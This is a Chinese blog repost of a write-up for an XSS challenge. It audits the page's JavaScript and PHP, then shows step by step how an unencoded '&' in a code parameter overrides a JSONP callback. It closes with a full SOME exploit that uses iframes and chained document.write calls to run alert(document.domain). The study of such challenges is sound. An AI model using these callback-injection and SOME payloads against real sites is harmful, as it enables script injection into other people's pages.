记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

一道xss题学习SOME攻击

2020-08-05 13:24

我最近发现了一个大佬出的一道xss题,需要我们执行alert(document.domain)

我们可以使用SOME攻击来实现XSS。

代码审计

index.html页面主要的一段JavaScript代码:

var callback = function(msg) {
result.innerHTML = msg;
}
document.addEventListener('DOMContentLoaded', function(event) {
if (getQuery('code')) {
var code = getQuery('code');
c.value = code;
checkCode(code);
}
});
form.addEventListener('submit', function(event) {
checkCode(c.value);
event.preventDefault();
});

function checkCode(code) {
var s = document.createElement('script');
s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
document.body.appendChild(s);
}

function getQuery(name) {
return new URL(location.href).searchParams.get(name);
}

两个监听器都是对同一个东西的监听,只不过方法不同,一个是获取code参数,一个是表单提交,这就造了提交payload的差异。

还需要注意的是checkCode函数,它会使用encodeURI对code参数进行url进行编码。

对于check_code.php源码:

<?php
$callback = "callback";
if (isset($_GET['callback']))
{
$callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}

$key = "";
if (isset($_GET['code']))
{
$key = $_GET['code'];
}

if (mb_strlen($key, "UTF-8") <= 10)
{
if ($key == "XSS_ME")
{
$result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
}
else
{
$result = "Invalid code: '$key'";
}
}
else
{
$result = "Invalid code: too long";
}
$json = json_encode($result, JSON_HEX_TAG);

header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)"

check_code.php中的限制:

  1. 使用/[^a-z0-9.]+/i对callback参数的过滤控制。
  2. 使用length<=10对code参数的过滤控制,只要长度限制,没有字符限制。

最终php文件返回值中的$json中都会有字符串Invalid code:,这个会影响我们的payload的构造。

我们通过在code参数中指定准备好的有效负载来实现SOME,该负载通过使用固定的callback参数和部分由攻击者控制的功能参数加载JSONP端点 。

此外,要实现对JSONP中使用的callback参数的控制,必须滥用 在checkCode函数中不安全地使用encodeURI。

漏洞利用

由于encodeURI不对&字符进行编码,因此可以在code参数中发送&callback =来覆盖其原有值(codeback=codeback)(如果url参数重复出现,服务器使用给定参数的最后一次出现的值而不是第一个)。

所以我们可以在表单中提交1&callback=alert来触发弹窗。如图:

我们还可以在url上使用code参数来触发弹窗,比如?code=1%26callback=alert。&的url编码就是%26

但是我们需要执行alert(document.domain),而且对code参数有长度限制。所以无法直接执行。

解决问题

这时我们就可以使用SOME攻击,使用iframe来实现同源方法执行,使用使用src属性来确保在同一个来源。

例如对于alert(1):

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=alert`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("1");
}
</script>

对于alert(document.domain),我们借助多个iframe和相同来源的跨iframe操作,通过编写HTML和JavaScript代码将payload(<script>eval(top[2].name)</script>)包含到iframe框架的DOM,将alert(document.domain)添加到name属性中。

因为长度的限制,我们还需要使用document.write来逐步建立payload。

并且有多余字符串Invalid code:的干扰,需要注释符来注释这些多余的字符串。

所以最终exp:

<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>

<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
m.onload = function(){
return resolve(this);
}
});
}

async function go(){
await loadIframe("<script>/*");
await loadIframe("*/eval(/*");
await loadIframe("*/top[2]/*");
await loadIframe("*/.name)//");
await loadIframe("<\/script>");
}
</script>


知识来源: xz.aliyun.com/t/8075

阅读:17866 | 评论:0 | 标签:xss 攻击 学习

想收藏或者和大家分享这篇好文章→复制链接地址

“一道xss题学习SOME攻击”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词